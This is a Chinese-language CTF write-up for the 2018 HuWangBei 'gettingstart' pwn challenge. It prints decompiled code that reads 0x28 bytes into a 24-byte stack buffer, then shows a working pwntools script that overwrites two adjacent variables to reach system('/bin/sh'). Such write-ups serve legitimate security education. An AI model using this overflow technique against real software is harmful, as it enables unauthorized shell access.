护网杯_2018_gettingstart

准备


64 位,保护全开

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_QWORD buf[3]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-18h]
double v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
memset(buf, 0, sizeof(buf));
v5 = 0x7FFFFFFFFFFFFFFFLL;
v6 = 1.797693134862316e308;
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
puts("But Whether it starts depends on you.");
read(0, buf, 0x28uLL);
if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
system("/bin/sh");
}
else
{
puts("Try again!");
}
return 0LL;
}

v5 = 0x7FFFFFFFFFFFFFFFv6 = 0.1 时,获得直接的连接点

思路

这题初始值 v5 = 0x7FFFFFFFFFFFFFFFv6 = 1.797693134862316e308
v5 = 0x7FFFFFFFFFFFFFFFv6 = 0.1 时,获得直接的连接点
所以这里只用修改 v6 的值为 0.1
通过 ida 查看栈情况

看到这里需要先填充 0x30-0x18=0x18(24) 个值到 v5,后面才是 v6
并且这里我们需要把 0.1 转换成 16 进制
在网上找了个网站
得到 0.1=0x3FB999999999999A
最后构造 payload

1
2
3
io.recvuntil(b'But Whether it starts depends on you.')
payload=b'a'*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux',log_level='debug',arch='amd64')
# io=remote('node5.buuoj.cn',27966)
io= process('/home/motaly/get')
elf=ELF('/home/motaly/get')

io.recvuntil(b'But Whether it starts depends on you.')
payload=b'a'*24+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
io.sendline(payload)

io.interactive()